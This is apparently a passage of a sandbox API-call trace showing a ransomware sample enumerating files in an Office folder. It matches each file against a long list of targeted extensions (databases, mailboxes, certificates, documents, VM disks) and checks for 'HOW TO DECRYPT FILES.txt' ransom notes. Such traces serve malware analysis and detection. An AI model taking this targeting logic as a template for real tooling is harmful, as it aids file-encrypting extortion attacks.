(lpString="*.bz2") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.gz") returned 0 [0065.881] lstrlenA (lpString="*.gz") returned 4 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.mkv") returned 0 [0065.881] lstrlenA (lpString="*.mkv") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.eml") returned 0 [0065.881] lstrlenA (lpString="*.eml") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.msg") returned 0 [0065.881] lstrlenA (lpString="*.msg") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.edb") returned 0 [0065.881] lstrlenA (lpString="*.edb") returned 5 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.accdb") returned 0 [0065.881] lstrlenA (lpString="*.accdb") returned 7 [0065.881] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.odb") returned 0 [0065.882] lstrlenA (lpString="*.odb") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.java") returned 0 [0065.882] lstrlenA (lpString="*.java") returned 6 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.asm") returned 0 [0065.882] lstrlenA (lpString="*.asm") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.pfx") returned 0 [0065.882] lstrlenA (lpString="*.pfx") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.pem") returned 0 [0065.882] lstrlenA (lpString="*.pem") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.p12") returned 0 [0065.882] lstrlenA (lpString="*.p12") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.gpg") returned 0 [0065.882] lstrlenA (lpString="*.gpg") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.vsd") returned 0 [0065.882] lstrlenA (lpString="*.vsd") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.odg") returned 0 [0065.882] lstrlenA (lpString="*.odg") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.raw") returned 0 [0065.882] lstrlenA (lpString="*.raw") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.nef") returned 0 [0065.882] lstrlenA (lpString="*.nef") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.svg") returned 0 [0065.882] lstrlenA (lpString="*.svg") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.psd") returned 0 [0065.882] lstrlenA (lpString="*.psd") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.vmx") returned 0 [0065.882] lstrlenA (lpString="*.vmx") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.vmdk") returned 0 [0065.882] lstrlenA (lpString="*.vmdk") returned 6 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.vdi") returned 0 [0065.882] lstrlenA (lpString="*.vdi") returned 5 [0065.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.lay6") returned 0 [0065.883] lstrlenA (lpString="*.lay6") returned 6 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.mpeg") returned 0 [0065.883] lstrlenA (lpString="*.mpeg") returned 6 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.djvu") returned 0 [0065.883] lstrlenA (lpString="*.djvu") returned 6 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.tiff") returned 0 [0065.883] lstrlenA (lpString="*.tiff") returned 6 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.backup") returned 0 [0065.883] lstrlenA (lpString="*.backup") returned 8 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.pdf") returned 0 [0065.883] lstrlenA (lpString="*.pdf") returned 5 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.cert") returned 0 [0065.883] lstrlenA (lpString="*.cert") returned 6 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.docm") returned 0 [0065.883] lstrlenA (lpString="*.docm") returned 6 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.xlsm") returned 0 [0065.883] lstrlenA (lpString="*.xlsm") returned 6 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.dwg") returned 0 [0065.883] lstrlenA (lpString="*.dwg") returned 5 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.nd") returned 0 [0065.883] lstrlenA (lpString="*.nd") returned 4 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.tlg") returned 0 [0065.883] lstrlenA (lpString="*.tlg") returned 5 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.lgb") returned 0 [0065.883] lstrlenA (lpString="*.lgb") returned 5 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.mov") returned 0 [0065.883] lstrlenA (lpString="*.mov") returned 5 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.xdw") returned 0 [0065.883] lstrlenA (lpString="*.xdw") returned 5 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.ods") returned 0 [0065.883] lstrlenA (lpString="*.ods") returned 5 [0065.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.wav") returned 0 [0065.884] lstrlenA (lpString="*.wav") returned 5 [0065.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.mp3") returned 0 [0065.884] lstrlenA (lpString="*.mp3") returned 5 [0065.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.aiff") returned 0 [0065.884] lstrlenA (lpString="*.aiff") returned 6 [0065.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.flac") returned 0 [0065.884] lstrlenA (lpString="*.flac") returned 6 [0065.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.m4a") returned 0 [0065.884] lstrlenA (lpString="*.m4a") returned 5 [0065.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL", pszSpec="*.csv") returned 0 [0065.884] lstrlenA (lpString="*.csv") returned 5 [0065.884] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0065.884] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.884] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MAPISHELL.DLL") returned -1 [0065.884] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MAPISHELL.DLL") returned -1 [0065.884] lstrcmpiA (lpString1="", lpString2="MAPISHELL.DLL") returned -1 [0065.884] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL") returned="MAPIPH.DLL" [0065.884] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.884] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.884] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.884] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.884] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="MAPISHELL.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL" [0065.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.ems") returned 0 [0065.884] lstrlenA (lpString="*.ems") returned 5 [0065.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.db") returned 0 [0065.884] lstrlenA (lpString="*.db") returned 4 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.dbf") returned 0 [0065.885] lstrlenA (lpString="*.dbf") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.myox") returned 0 [0065.885] lstrlenA (lpString="*.myox") returned 6 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.myo") returned 0 [0065.885] lstrlenA (lpString="*.myo") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qbw") returned 0 [0065.885] lstrlenA (lpString="*.qbw") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qbb") returned 0 [0065.885] lstrlenA (lpString="*.qbb") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qbm") returned 0 [0065.885] lstrlenA (lpString="*.qbm") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qbo") returned 0 [0065.885] lstrlenA (lpString="*.qbo") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qbx") returned 0 [0065.885] lstrlenA (lpString="*.qbx") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qba") returned 0 [0065.885] lstrlenA (lpString="*.qba") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qby") returned 0 [0065.885] lstrlenA (lpString="*.qby") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qbj") returned 0 [0065.885] lstrlenA (lpString="*.qbj") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.ofx") returned 0 [0065.885] lstrlenA (lpString="*.ofx") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.qif") returned 0 [0065.885] lstrlenA (lpString="*.qif") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.mye") returned 0 [0065.885] lstrlenA (lpString="*.mye") returned 5 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.mbox") returned 0 [0065.885] lstrlenA (lpString="*.mbox") returned 6 [0065.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.eml") returned 0 [0065.885] lstrlenA (lpString="*.eml") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.pst") returned 0 [0065.886] lstrlenA (lpString="*.pst") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.ost") returned 0 [0065.886] lstrlenA (lpString="*.ost") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.idx") returned 0 [0065.886] lstrlenA (lpString="*.idx") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.dbx") returned 0 [0065.886] lstrlenA (lpString="*.dbx") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.sql") returned 0 [0065.886] lstrlenA (lpString="*.sql") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.mdb") returned 0 [0065.886] lstrlenA (lpString="*.mdb") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.fdb") returned 0 [0065.886] lstrlenA (lpString="*.fdb") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.wab") returned 0 [0065.886] lstrlenA (lpString="*.wab") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.dat") returned 0 [0065.886] lstrlenA (lpString="*.dat") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.txt") returned 0 [0065.886] lstrlenA (lpString="*.txt") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.jpeg") returned 0 [0065.886] lstrlenA (lpString="*.jpeg") returned 6 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.jpg") returned 0 [0065.886] lstrlenA (lpString="*.jpg") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.png") returned 0 [0065.886] lstrlenA (lpString="*.png") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.php") returned 0 [0065.886] lstrlenA (lpString="*.php") returned 5 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.cs") returned 0 [0065.886] lstrlenA (lpString="*.cs") returned 4 [0065.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.cpp") returned 0 [0065.887] lstrlenA (lpString="*.cpp") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.rar") returned 0 [0065.887] lstrlenA (lpString="*.rar") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.zip") returned 0 [0065.887] lstrlenA (lpString="*.zip") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.html") returned 0 [0065.887] lstrlenA (lpString="*.html") returned 6 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.htm") returned 0 [0065.887] lstrlenA (lpString="*.htm") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.xlsx") returned 0 [0065.887] lstrlenA (lpString="*.xlsx") returned 6 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.xls") returned 0 [0065.887] lstrlenA (lpString="*.xls") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.mp4") returned 0 [0065.887] lstrlenA (lpString="*.mp4") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.ppt") returned 0 [0065.887] lstrlenA (lpString="*.ppt") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.pptx") returned 0 [0065.887] lstrlenA (lpString="*.pptx") returned 6 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.doc") returned 0 [0065.887] lstrlenA (lpString="*.doc") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.dot") returned 0 [0065.887] lstrlenA (lpString="*.dot") returned 5 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.docx") returned 0 [0065.887] lstrlenA (lpString="*.docx") returned 6 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.7z") returned 0 [0065.887] lstrlenA (lpString="*.7z") returned 4 [0065.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.tar") returned 0 [0065.887] lstrlenA (lpString="*.tar") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.bz2") returned 0 [0065.888] lstrlenA (lpString="*.bz2") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.gz") returned 0 [0065.888] lstrlenA (lpString="*.gz") returned 4 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.mkv") returned 0 [0065.888] lstrlenA (lpString="*.mkv") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.eml") returned 0 [0065.888] lstrlenA (lpString="*.eml") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.msg") returned 0 [0065.888] lstrlenA (lpString="*.msg") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.edb") returned 0 [0065.888] lstrlenA (lpString="*.edb") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.accdb") returned 0 [0065.888] lstrlenA (lpString="*.accdb") returned 7 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.odb") returned 0 [0065.888] lstrlenA (lpString="*.odb") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.java") returned 0 [0065.888] lstrlenA (lpString="*.java") returned 6 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.asm") returned 0 [0065.888] lstrlenA (lpString="*.asm") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.pfx") returned 0 [0065.888] lstrlenA (lpString="*.pfx") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.pem") returned 0 [0065.888] lstrlenA (lpString="*.pem") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.p12") returned 0 [0065.888] lstrlenA (lpString="*.p12") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.gpg") returned 0 [0065.888] lstrlenA (lpString="*.gpg") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.vsd") returned 0 [0065.888] lstrlenA (lpString="*.vsd") returned 5 [0065.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.odg") returned 0 [0065.889] lstrlenA (lpString="*.odg") returned 5 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.raw") returned 0 [0065.889] lstrlenA (lpString="*.raw") returned 5 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.nef") returned 0 [0065.889] lstrlenA (lpString="*.nef") returned 5 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.svg") returned 0 [0065.889] lstrlenA (lpString="*.svg") returned 5 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.psd") returned 0 [0065.889] lstrlenA (lpString="*.psd") returned 5 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.vmx") returned 0 [0065.889] lstrlenA (lpString="*.vmx") returned 5 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.vmdk") returned 0 [0065.889] lstrlenA (lpString="*.vmdk") returned 6 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.vdi") returned 0 [0065.889] lstrlenA (lpString="*.vdi") returned 5 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.lay6") returned 0 [0065.889] lstrlenA (lpString="*.lay6") returned 6 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.mpeg") returned 0 [0065.889] lstrlenA (lpString="*.mpeg") returned 6 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.djvu") returned 0 [0065.889] lstrlenA (lpString="*.djvu") returned 6 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.tiff") returned 0 [0065.889] lstrlenA (lpString="*.tiff") returned 6 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.backup") returned 0 [0065.889] lstrlenA (lpString="*.backup") returned 8 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.pdf") returned 0 [0065.889] lstrlenA (lpString="*.pdf") returned 5 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.cert") returned 0 [0065.889] lstrlenA (lpString="*.cert") returned 6 [0065.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.docm") returned 0 [0065.889] lstrlenA (lpString="*.docm") returned 6 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.xlsm") returned 0 [0065.890] lstrlenA (lpString="*.xlsm") returned 6 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.dwg") returned 0 [0065.890] lstrlenA (lpString="*.dwg") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.nd") returned 0 [0065.890] lstrlenA (lpString="*.nd") returned 4 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.tlg") returned 0 [0065.890] lstrlenA (lpString="*.tlg") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.lgb") returned 0 [0065.890] lstrlenA (lpString="*.lgb") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.mov") returned 0 [0065.890] lstrlenA (lpString="*.mov") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.xdw") returned 0 [0065.890] lstrlenA (lpString="*.xdw") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.ods") returned 0 [0065.890] lstrlenA (lpString="*.ods") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.wav") returned 0 [0065.890] lstrlenA (lpString="*.wav") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.mp3") returned 0 [0065.890] lstrlenA (lpString="*.mp3") returned 5 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.aiff") returned 0 [0065.890] lstrlenA (lpString="*.aiff") returned 6 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.flac") returned 0 [0065.890] lstrlenA (lpString="*.flac") returned 6 [0065.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL", pszSpec="*.m4a") returned 0 [0065.890] lstrlenA 